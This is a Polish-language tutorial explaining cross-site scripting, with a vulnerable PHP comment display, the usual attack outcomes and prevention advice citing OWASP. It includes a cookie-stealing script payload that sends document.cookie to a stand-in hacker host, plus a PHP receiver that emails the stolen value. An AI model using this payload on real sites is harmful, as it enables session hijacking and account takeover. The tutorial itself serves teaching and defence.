Atak XSS (ang. Cross Site Scripting) – to próba umieszczenia w witrynach internetowych kodu, który zmieni ich treść lub funkcjonalność dla innych użytkowników tej witryny. Działanie takiego kodu zazwyczaj odbiega od oryginalnych zamierzeń twórców witryny czy aplikacji dlatego mówimy, że kod taki jest złośliwy. Do ataków XSS zalicza się bardzo wiele różnych działań — od zamiany arkuszy stylów tak aby powodowały nieprawidłowe kliknięcia użytkownika, podmianę danych wpisywanych w formularzach, różnego rodzaju utrudnienie wykorzystywania witryny kończąc na wykradaniu haseł wpisywanych do formularzy.
Luką XSS są te miejsca, w których dane wpisywane przez użytkowników są traktowane z nadmierną wiarą w ich poprawność. Certyfikat SSL nie ma tutaj nic do gadania. W skrajnych wypadkach, luki takie mogą doprowadzić do:
- wykradania haseł,
- podmianie danych wprowadzanych przez innych użytkowników w formularzach,
- uniemożliwieniu innym użytkownikom w korzystaniu ze strony,
- wykasowaniu danych w aplikacji,
- wykonanie innego złośliwego kodu.
Gdzie dochodzi do ataków XSS?
Ataki XSS przeprowadzane są najczęściej w portalach, w których treść jest generowana przez użytkownika, np. na forach, w sekcji komentarzy i w portalach społecznościowych.
Wykorzystując różne techniki XSS, atakujący nie atakuje bezpośrednio swojej ofiary. To wykorzystanie luki w zabezpieczeniach, odwiedzanej przez ofiarę, aby strona sama dostarczyła złośliwy kod JavaScript. Tak jak sama nazwa wskazuje (ang. cross-site), umieszczony za pomocą luki XSS złośliwy kod JavaScript jest z punktu widzenia użytkownika normalną częścią strony internetowej, którą odwiedza. Zaatakowana witryna działa tutaj jako niezamierzony wspólnik atakującego. To odróżnia ataki XSS od innych ataków, w których strona kliencka innego użytkownika nie musi być w żaden sposób zaangażowana.
Jak przebiega atak XSS?
Jedynym sposobem, aby atakujący uruchomił swój złośliwy kod JavaScript w przeglądarce ofiary, jest wstrzyknięcie go na jedną ze stron, którą odwiedzi ofiara. Może do tego łatwo dojść, jeśli witryna prezentuje jakieś dane wejściowe użytkowników (np. komentarze i opinie) na swoich stronach. Atakujący zamiast „normalnej treści” dodaje kod JavaScript, który oczywiście nie będzie widoczny w treści komentarza ale zostanie wykonany przy wizycie.
W poniższym przykładzie prosty skrypt po stronie serwera służy do wyświetlania najnowszych komentarzy na stronie:
<?php
echo "<section>";
echo "Ostatnie komentarze:"
echo pobierzOstatnieKomentarze();
echo "</section>"
Skrypt zakłada, że komentarz składa się tylko z tekstu. Ponieważ jednak dane wejściowe użytkownika są dołączane bez żadnego filtrowania, osoba atakująca może przesłać ten komentarz z dodatkiem w postaci skryptu: Każdy użytkownik odwiedzający stronę, któremu będzie dane wczytać ten komentarz wczyta przy okazji dodany skrypt:
<section>
Ostatnie komentarze:
<script>...</script>
</section>
Gdy przeglądarka użytkownika załaduje stronę, wykona dowolny kod JavaScript zawarty w tagach. To tak jakbyśmy atakującemu pozwolili na komputerze dowolnego użytkownika naszej strony wcisnąć klawisz F12 i wpisać w konsolę cokolwiek zechce.
Czym może być złośliwy kod JavaScript?
Wydawało by się, że wykonanie dowolnego kodu JavaScript po stronie użytkownika nie jest czymś szczególnie niebezpiecznym. Wszak jest to język, którym kiedyś robiło się efekt śniegu na stronie, prawda? No, nie do końca jest to aktualne. To prawda, że JavaScript działa w bardzo ograniczonym środowisku przeglądarki i nie ma ono dostępu do plików użytkownika i systemu operacyjnego. Problem w tym, że do pewnych rzeczy JavaScript ma dostęp a są nimi:
- możliwość odczytywania i zapisywania informacji w poufnych plikach cookie,
- wysyłanie żądań HTTP (np. za pomocą XMLHttpRequest),
- wprowadzanie dowolnych manipulacji w DOM (podmiana linków, informacji w formularzu).
Połączenie działań, które mogą wykorzystać wspomniane działania stwarza poważne ryzyko dla użytkowników naszej witryny.
Zagrożenia i możliwe skutki złośliwego kodu XSS
Z pośród wszystkich scenariuszy ataków, na które może wpaść kreatywny haker, można wyróżnić trzy główne grupy a są nimi:
- Kradzież plików cookie – atakujący może uzyskiwać dostęp do plików cookie ofiary powiązanych z konkretną domeną internetową za pomocą metody document.cookie. Identyfikatory sesji mogą być wysyłane na jego własny serwer aby wykorzystać je np. do wydobycia poufnych informacji czy przejęcia kontroli nad profilem.
- Keylogging – atakujący może zarejestrować detektor zdarzeń klawiatury za pomocą metody addEventListener, a następnie wysłać wszystkie naciśnięcia klawiszy użytkownika na własny serwer. Jest możliwość zarejestrowania w ten sposób poufnych informacji, takich jak hasła a w sklepie internetowym numery kart kredytowych i kody CVV/CVC.
- Phishing / wyłudzanie informacji – co już zostało kilkakrotnie wspomnianie, atakujący może wstawić fałszywy formularz logowania na stronie za pomocą manipulacji DOM (np. funkcje replace, prepend, append itd…) ustawić atrybut akcji formularza na celowanie na własny serwer, a następnie nakłonić użytkownika do przesłania poufnych informacji.
Po podsumowaniu tych faktów dochodzimy do wniosku, że ataki XSS nie są jakimś tam drobnym problemem, który można pominąć przy wczesnych wersjach aplikacji czy sklepu internetowego. Stanowią one bowiem poważny problem i naruszają bezpieczeństwo użytkownika.
Praktyczny scenariusz ataku XSS z przejęciem cookie
W tym przykładzie założymy, że ostatecznym celem atakującego jest kradzież plików cookie ofiary poprzez wykorzystanie luki XSS w witrynie. Można to zrobić przez dodanie do jakiegoś kodu, który ostatecznie wygeneruje w portalu z luką XSS taki kod JavaScript.
<script> window.location='http://serwer.jakiegos.hakera.pl/?cookie='+document.cookie </script>
Dzięki temu, haker może przygotować sobie skrypt na swojej stronie, który zapisuje lub zrzuca na email tak uzyskane dane z plików cookie:
<?php $cookie = $_GET["cookie"]; wyslijNaEmail($cookie);
Nieświadomie niczego zamknie stronę „serwer jakiegos.hakera.pl” myśląc że to jakaś zwykła reklama lub błąd w aplikacji. Jeżeli haker ma dostęp do identyfikatora sesji a strona nie posiada dodatkowych zabezpieczeń (takich jak np. tokenizacja) to może on się teraz zalogować na konto ofiary bez konieczności podawania hasła.
Skuteczne zapobieganie atakom XSS
Przeprowadzenie ataku XSS można skutecznie udaremnić za pomocą killku sprawdzonych technik. Pamiętajmy, że XSS to wstrzykiwanie kodu a każde wstrzykiwanie można kodować, filtrować albo walidować.
- Zapomnij o walidacji i filtrowaniu po stronie przeglądarki– pamiętaj, że walidacja po stronie klienta (np. type=”number” w polu formularza) ma służyć użytkownikowi i jest swego rodzaju asystą we wprowadzaniu danych. Nie chroni ona aplikacji przed niepoprawnymi danymi. Jeżeli już jesteś leniwy, wykonaj walidację po stronie serwera – ona jest o wiele ważniejsza.
- Używaj kodowania, która wszystkie dane traktuje jako tekst a nie potencjalny kod. W PHP służy do tego funkcja htmlspecialchars();
- Używaj walidacji po stronie serwera – walidacja filtruje dane wejściowe użytkownika, może je odrzucić kiedy nie spełniają wymagań.
- Filtruj i waliduj dane wejściowe a nie wyjściowe – wejście danych przebiega zazwyczaj rzadziej dlatego walidacja nie będzie konsumowac tyle zasobó serwera. Baza danych będzie wolna od potencjalnie złośliwego kodu, który może się ujawnić przypadkowo przy kolejnych aktualizacjach i powstaniu nowych luk w aplikacji.
Czytaj więcej w poradniku OWASP, którego link jest zamieszczony w źródłach.
Podsumowanie
Ataki XSS to jedne z najprostszych ataków jakie można przeprowadzić w aplikacjach początkujących programistów webowych. Skutki mogą być poważne, jeżeli luki znajdują się w aplikacji, w której dokonuje się zakupów lub przechowuje ona poufne informacje. Przestrzeganie kilku sprawdzonych technik daje gwarancję odporności aplikacji na tego rodzaju ataki.
Źródła:
Excess XSS: A comprehensive tutorial on cross-site scripting, Excess XSS, 2016, dostępne: październik 2019, https://excess-xss.com/
Cross-site Scripting (XSS), OWASP, 2018, dostępne: październik 2019, https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
XSS Filter Evasion Cheat Sheet, OWASP, 2019, dostępne: październik 2019, https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Odpowiedz lub skomentuj